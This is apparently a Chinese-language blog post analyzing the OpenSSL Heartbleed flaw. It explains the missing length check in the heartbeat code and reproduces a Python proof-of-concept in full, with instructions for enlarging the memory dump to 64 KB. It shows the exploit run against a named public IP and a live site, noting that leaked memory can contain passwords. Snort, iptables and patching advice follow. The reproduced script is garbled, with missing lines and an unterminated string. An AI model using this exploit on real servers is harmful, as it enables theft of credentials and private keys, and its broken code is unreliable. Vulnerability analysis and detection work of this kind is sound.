天天看點

Openssl“心髒出血”漏洞分析及其利用

本帖最後由 simeon 于 2014-4-11 10:54 編輯

一、openssl漏洞形成原因

1.漏洞分析

漏洞存在檔案ssl/dl_both.c,漏洞的更新檔從這行語句開始:

int            

dtls1_process_heartbeat(SSL *s)

   {          

   unsigned char *p = &s->s3->rrec.data[0], *pl;

   unsigned short hbtype;

   unsigned int payload;

   unsigned int padding = 16; /* Use minimum padding */

結構體SSL3_RECORD的定義如下

typedef struct ssl3_record_st

   {

       int type;               /* type of record */

       unsigned int length;    /* How many bytes available */

       unsigned int off;       /* read/write offset into 'buf' */

       unsigned char *data;    /* pointer to the record data */

       unsigned char *input;   /* where the decode bytes are */

       unsigned char *comp;    /* only used with decompression - malloc()ed */

       unsigned long epoch;    /* epoch number, needed by DTLS1 */

       unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */

   } SSL3_RECORD;

每條SSLv3記錄中包含一個類型域(type)、一個長度域(length)和一個指向記錄資料的指針(data)。在dtls1_process_heartbeat中:

/* Read type and payload length first */

hbtype = *p++;

n2s(p, payload);

pl = p;

SSLv3記錄的第一個位元組标明了心跳包的類型。宏n2s從指針p指向的數組中取出前兩個位元組,并把它們存入變量payload中——這實際上是心跳包載荷的長度域(length)。注意程式并沒有檢查這條SSLv3記錄的實際長度。變量pl則指向由通路者提供的心跳包資料。

這個函數的後面進行了以下工作:

unsigned char *buffer, *bp;

int r;

/* Allocate memory for the response, size is 1 byte

* message type, plus 2 bytes payload length, plus

* payload, plus padding

*/

buffer = OPENSSL_malloc(1 + 2 + payload + padding);

bp = buffer;

是以程式将配置設定一段由通路者指定大小的記憶體區域,這段記憶體區域最大為 (65535 + 1 + 2 + 16) 個位元組。變量bp是用來通路這段記憶體區域的指針。

/* Enter response type, length and copy payload */

*bp++ = TLS1_HB_RESPONSE;

s2n(payload, bp);

memcpy(bp, pl, payload);

宏s2n與宏n2s幹的事情正好相反:s2n讀入一個16 bit長的值,然後将它存成雙位元組值,是以s2n會将與請求的心跳包載荷長度相同的長度值存入變量payload。然後程式從pl處開始複制payload個位元組到新配置設定的bp數組中——pl指向了使用者提供的心跳包資料。最後,程式将所有資料發回給使用者。 

2.使用者可以控制變量payload和pl成為可利用漏洞

如果使用者并沒有在心跳包中提供足夠多的資料,會導緻什麼問題?比如pl指向的資料實際上隻有一個位元組,那麼memcpy會把這條SSLv3記錄之後的資料——無論那些資料是什麼——都複制出來。

二、可利用POC及其測試

1、poc擷取

漏洞公布後不久網上就出現了國外牛人們寫的POC,在該漏洞釋出的第一時間我們對此漏洞進行了分析與驗證是否能夠擷取一些敏感資訊。漏洞釋出的同時攻擊可利用的腳本也已經在網絡中流傳。下面漏洞利用腳本的下載下傳位址:

<a href="https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py" target="_blank">https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py</a>

<a href="https://raw.githubusercontent.com/decal/ssltest-stls/master/ssltest-stls.py" target="_blank">https://raw.githubusercontent.co ... ter/ssltest-stls.py</a>

網上線上檢測:

<a href="http://possible.lv/tools/hb/" target="_blank">http://possible.lv/tools/hb/</a>

<a href="http://filippo.io/Heartbleed/" target="_blank">http://filippo.io/Heartbleed/</a>

2. poc代碼

将以下代碼儲存為ssltest.py檔案,Poc代碼如下:

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email][email protected][/email])

# The author disclaims copyright to this source code.

import sys

import struct

import socket

import time

import select

import re

from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):

   return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''

16 03 02 00  dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00

00 0f 00 01 01                                  

''')

hb = h2bin(''' 

18 03 02 00 03

01 40 00

def hexdump(s):

   for b in xrange(0, len(s), 16):

       lin = [c for c in s[b : b + 16]]

       hxdat = ' '.join('%02X' % ord(c) for c in lin)

       pdat = ''.join((c if 32 &lt;= ord(c) &lt;= 126 else '.' )for c in lin)

       print '  %04x: %-48s %s' % (b, hxdat, pdat)

   print

def recvall(s, length, timeout=5):

   endtime = time.time() + timeout

   rdata = ''

   remain = length

   while remain &gt; 0:

       rtime = endtime - time.time() 

       if rtime &lt; 0:

           return None

       r, w, e = select.select([s], [], [], 5)

       if s in r:

           data = s.recv(remain)

           # EOF?

           if not data:

               return None

           rdata += data

           remain -= len(data)

   return rdata

def recvmsg(s):

   hdr = recvall(s, 5)

   if hdr is None:

       print 'Unexpected EOF receiving record header - server closed connection'

       return None, None, None

   typ, ver, ln = struct.unpack('&gt;BHH', hdr)

   pay = recvall(s, ln, 10)

   if pay is None:

       print 'Unexpected EOF receiving record payload - server closed connection'

   print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

   return typ, ver, pay

def hit_hb(s):

   s.send(hb)

   while True:

       typ, ver, pay = recvmsg(s)

       if typ is None:

           print 'No heartbeat response received, server likely not vulnerable'

           return False

       if typ == 24:

           print 'Received heartbeat response:'

           hexdump(pay)

           if len(pay) &gt; 3:

               print 'WARNING: server returned more data than it should - server is vulnerable!'

           else:

               print 'Server processed malformed heartbeat, but did not return any extra data.'

           return True

       if typ == 21:

           print 'Received alert:'

           print 'Server returned error, likely not vulnerable'

def main():

   opts, args = options.parse_args()

   if len(args) &lt; 1:

       options.print_help()

       return

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

   print 'Connecting...'

   sys.stdout.flush()

   s.connect((args[0], opts.port))

   print 'Sending Client Hello...'

   s.send(hello)

   print 'Waiting for Server Hello...'

       if typ == None:

           print 'Server closed connection without sending Server Hello.'

           return

       # Look for server hello done message.

       if typ == 22 and ord(pay[0]) == 0x0E:

           break

   print 'Sending heartbeat request...'

   hit_hb(s)

if __name__ == '__main__':

   main()

複制代碼

3.具體測試方法

openssl.py / ssltest.py,用法:python openssl.py ip/域名 -p 端口

網上POC作者公布的代碼每次隻dump 16kb 記憶體,如果需要dump 64kb記憶體需要做如下修改:

hb = h2bin('''

01 40 00  //此處修改為01 ff ff

将“for b in xrange(0, len(s), 16)”改成“for b in xrange(0, len(s), 64)”

三、openssl檢測技術

利用openssl心髒出血漏洞利用代碼,筆者第一時間進行測試,測試分為兩個方面,一個是通過網頁線上檢測,另外就是通過腳本直接擷取記憶體内容。

1.網頁檢測

圖1線上檢測漏洞

圖2擷取kuaiyinpan.com存在漏洞

2.通過py腳本進行檢測

在linux 終端視窗中輸入“python ssltest.py 66.175.219.225  -p 443”指令,如圖3所示擷取該漏洞提示資訊“ver=0302”該版本表示存在漏洞。在擷取的内容中可能會包含使用者密碼和使用者名等資訊。

圖3通過py腳本進行測試

3.對存在漏洞的網站進行掃描檢測

nmap -p 443 --script ssl-heartbleed 66.175.219.225

如果存在漏洞,則會給出該漏洞的相關提示,如圖4所示。

圖4掃描檢測存在漏洞伺服器

4.通用Snort規則檢測

由于衆所周知的SSL協定是加密的,我們目前沒有找到提取可比對規則的方法,我們嘗試編寫了一條基于傳回資料大小的檢測規則,其有效性我們會繼續驗證,如果有問題歡迎回報。alert tcp $EXTERNAL_NET any -&gt; $HOME_NET 443 (msg:"openssl Heartbleed attack";flow:to_server,established; content:"|18 03|"; depth: 3; byte_test:2, &gt;, 200, 3, big; byte_test:2, &lt;, 16385, 3, big; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:20140160; rev:2;)

Snort規則說明:此次漏洞主要針對的SSL協定。是針對心跳資料包前4個位元組中包含\x18\x03,而在資料包第5個位元組和第6個位元組的數值按大尾模式轉化成數值在200和16385之間,在後面則是一些報警和過濾功能,日志記錄裡,每10分鐘記錄一次。

四、修複建議

   1.openssl心髒出血漏洞受影響版本

通過實際測試,受影響版本:

OpenSSL 1.0.2-beta

OpenSSL 1.0.1 - OpenSSL 1.0.1f

不受影響版本:

OpenSSL 1.0.1g is NOT vulnerable

OpenSSL 1.0.0 branch is NOT vulnerable

OpenSSL 0.9.8 branch is NOT vulnerable

2.修複建議

(2)重新編譯OpenSSL并去掉DOPENSSL_NO_HEARTBEATS擴充。

$ echo -e "B\n" | openssl s_client -connect targetwebsite:443 -tlsextdebug 2&gt;&amp;1| grep 'heartbeart'

(3)如果不能更新OpenSSL可以更新IPTable防火牆規則。t# Log rules

iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 \

"52=0x18030000:0x1803FFFF" -j LOG --log-prefix "BLOCKED: HEARTBEAT"

# Block rules

iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 \ "52=0x18030000:0x1803FFFF" -j DROP

3.centos修複方法參考

(1)yum方法安裝

yum search openssl

yum install openssl     

/etc/init.d/nginx restart   #然後重新開機nginx

(2)下載下傳編譯安裝

cd openssl-1.0.1g 

./config 

make &amp;&amp; make install 

/etc/init.d/nginx restart #重新開機nginx

參考文章:

(5)測試工具包下載下傳位址:

<a href="http://www.antian365.com/forum.php?mod=viewthread&amp;tid=12061&amp;extra=" target="_blank">http://www.antian365.com/forum.p ... id=12061&amp;extra=</a>

<a href="http://www.antian365.com/tools/0day/openssl.zip" target="_blank">http://www.antian365.com/tools/0day/openssl.zip</a>

 本文轉自 simeon2005 51CTO部落格,原文連結:http://blog.51cto.com/simeon/1393901